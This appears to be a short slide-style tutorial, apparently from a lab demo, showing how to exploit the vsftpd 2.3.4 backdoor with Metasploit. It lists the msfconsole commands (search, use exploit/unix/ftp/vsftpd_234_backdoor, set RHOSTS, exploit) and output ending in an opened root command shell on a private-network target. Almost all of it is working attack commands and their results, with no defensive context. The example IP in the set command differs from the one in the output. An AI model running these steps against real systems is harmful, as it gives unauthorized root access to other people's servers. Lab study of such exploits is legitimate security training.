

Exploitation



Once we know the vulnerabilities, the next step is to exploit it and the easiest way is to with the help of Metasploit

We are going to exploit the FTP vsftpd 2.3.4 vulnerability

Step- 1

❖ Start msfconsole

```
>sudo msfconsole
```

```
(root@kali)-[~]  
└─# sudo msfconsole  
[*] Starting the Metasploit Framework console... /
```

Step- 2

- ❖ Search for the vsftpd exploits and use give the following command to use a particular module

```
>use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > search vsftpd
```

```
Matching Modules
```

#	Name	Disclosure Date
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03

```
Execution
```

Step- 3

- ❖ Set RHOSTS to set the target

```
>set RHOSTS 192.168.1.2
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.18.110  
RHOSTS => 192.168.18.110
```

Step- 4

❖ Now give the command to exploit

```
>exploit
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.18.110:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.18.110:21 - USER: 331 Please specify the password.
[+] 192.168.18.110:21 - Backdoor service has been spawned, handling ...
[+] 192.168.18.110:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.18.95:43137 → 192.168.18.110:6200) at 2022-10-23 19:18:24 +0000
```

DEMO



THANKS